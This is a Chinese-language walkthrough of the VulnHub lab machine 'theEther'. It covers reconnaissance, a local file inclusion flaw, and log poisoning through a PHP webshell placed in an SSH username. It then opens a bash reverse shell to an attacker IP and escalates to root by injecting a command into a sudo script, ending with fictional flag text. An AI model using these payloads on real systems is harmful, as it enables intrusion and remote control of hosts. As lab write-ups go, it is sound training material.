近期朋友給我發了一個靶機,說是他在日誌注入的時候遇到了一點小問題,讓我幫忙解決一下。下載下來以後,感受這個靶機仍是挺不錯的,裏邊有一些套路,因而整理成一篇文章,感興趣的小夥伴能夠本身嘗試一下。php
靶機下載
https://www.vulnhub.com/entry... html
信息收集
首先掃描內網,發現目標主機ip arp-scan -l
python
使用nmap對目標ip進行掃描
nmap -sV -A -T4 192.168.1.20
react
發現22和80端口是開放的,分別是ssh和http服務
使用http協議訪問目標網站
http://192.168.1.20/
git
瀏覽該網站,主要發現下面幾點
·發現該網站存在這麼一個url,存在LFI(本地文件包含)
http://192.168.1.20/index.php...
github
·在about us頁面中發現了一個郵箱,極可能是某個地方會用到的用戶名
shell
·RESEARCH頁面中有不少的單詞,若是有須要的話能夠用於生成字典api
漏洞利用bash
嘗試了一下經常使用的路徑並無什麼發現,因而在github上的SecLists中找到了LFI-JHADDIX.txt文件,使用burpsuite中的intruder進行嘗試,終於發現了一個能夠查看的路徑(SecList中還有其餘文件,有興趣的能夠看一下)
https://github.com/danielmies...(Fuzzing路徑下)
抓包,而後右鍵發送到intruder
app
設置字典
發現有結果中有幾條返回的數據包跟其餘的不一樣,一一嘗試訪問
/var/log/lastlog 能訪問,可是沒有什麼有用的數據
/var/run/utmp 也沒有什麼有用的數據
/var/log/auth.log 重定向回了首頁(注意這個URL)
下面是包含其餘文件的結果
查看/var/log/auth.log時重定向回首頁,說明應該隱藏了什麼東西,咱們查看一下響應數據包
點擊HTTP history,找到剛剛發的包,點擊response,能夠發現返回的數據包中,確實存在日誌
也可使用curl來請求
curl -is http://192.168.1.20/?file=/va...
注:如下操做以前須要保存快照,若是長時間沒有成功注入並執行任意命令,建議恢復快照;而且一旦出現這種狀況,即curl命令沒有返回結果,須要恢復快照,從新操做。
爲了進一步測試,嘗試登錄ssh,再讀取一遍日誌發現ssh的操做被記錄到日誌裏
既然ssh的操做能夠被記錄到日誌中,那麼能夠嘗試是否可以經過日誌注入+文件包含來執行任意命令
嘗試注入一段php代碼
ssh '<?php system($_GET[cmd]);?>'@192.168.1.20(不能用雙引號,而且?php中間不能有空格)
查看一下最新的日誌
curl -is 'http://192.168.1.20/index.php...'
用戶名被隱藏掉了
嘗試經過php代碼來執行命令ls
curl -is 'http://192.168.1.20/index.php...'
發現該路徑下有一個xxxlogauditorxxx.py的python腳本
既然能夠執行任意命令,咱們嘗試一下反彈一個持久化的shell
各類環境下的反彈shell方法能夠查看該網站
http://www.zerokeeper.com/exp...
首先設置端口監聽
nc -nlvp 9999
嘗試使用
curl -is 'http://192.168.1.20/index.php... bash -i >& /dev/tcp/192.168.1.66/9999 0>&1'
經過報錯信息發現,必須使用url編碼才能被識別
編碼後
curl -is 'http://192.168.1.20/index.php...'
並無成功反彈
最簡單的方法是使用-e,也沒有成功
繼續嘗試不能使用-e的選項
curl -is 'http://192.168.1.20/index.php...'
反彈shell成功
提權
查看一下當前用戶
使用sudo -l查看一下權限
可使用sudo權限不須要密碼執行xxxlogauditorxxx.py,
查看一下該文件
這是一個超長的python腳本,裏邊有很大一部份內容使用了base64編碼
嘗試運行該腳本
在這個python腳本中,咱們能夠執行命令,當咱們運行/var/log/auth.log | id命令的時候,咱們以root身份來執行
因而咱們就能夠經過python腳本和/var/log/auth.log |命令進行配合得到root權限
在/root目錄下找到了flag.png文件
/var/log/auth.log | ls /root
把他複製到公共目錄,而後使用wget下載下來
/var/log/auth.log | cp /root/flag.png /var/www/html/theEther.com/public_html/flag.png
wget http://192.168.1.20/?file=fla...
打開發現是這麼一個圖片
使用cat查看一下發現有不少亂碼和一部分使用base64編碼的內容
flag後面的內容使用的base64編碼,這應該就是咱們要尋找的內容
對這段文字進行解碼,That’s right! It’s great!
october 1, 2017.
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!
October 3, 2017.
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.
October 3, 2017.
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.
October 4, 2017.
Observing other candidates react to the injections. The ether seems to work for some but not for others. Keeping close observation on female specimen on October 3rd.
October 7, 2017.
The first flatline of the series occurred. The female subject passed. After decreasing, muscle contractions and life-like behaviors are still visible. This is impossible! Specimen has been moved to a containment quarantine for further evaluation.
October 8, 2017.
Other candidates are beginning to exhibit similar symptoms and patterns as female specimen. Planning to move them to quarantine as well.
October 10, 2017.
Isolated and exposed subject are dead, cold, moving, gnarling, and attracted to flesh and/or blood. Cannibalistic-like behaviour detected. An antidote/vaccine has been proposed.
October 11, 2017.
Hundreds of people have been burned and buried due to the side effects of the ether. The building will be burned along with the experiments conducted to cover up the story.
October 13, 2017.
We have decided to stop conducting these experiments due to the lack of antidote or ether. The main reason being the numerous death due to the subjects displaying extreme reactions the the engineered virus. No public announcement has been declared. The CDC has been suspicious of our testings and are considering martial laws in the event of an outbreak to the general population.
--Document scheduled to be shredded on October 15th after PSA.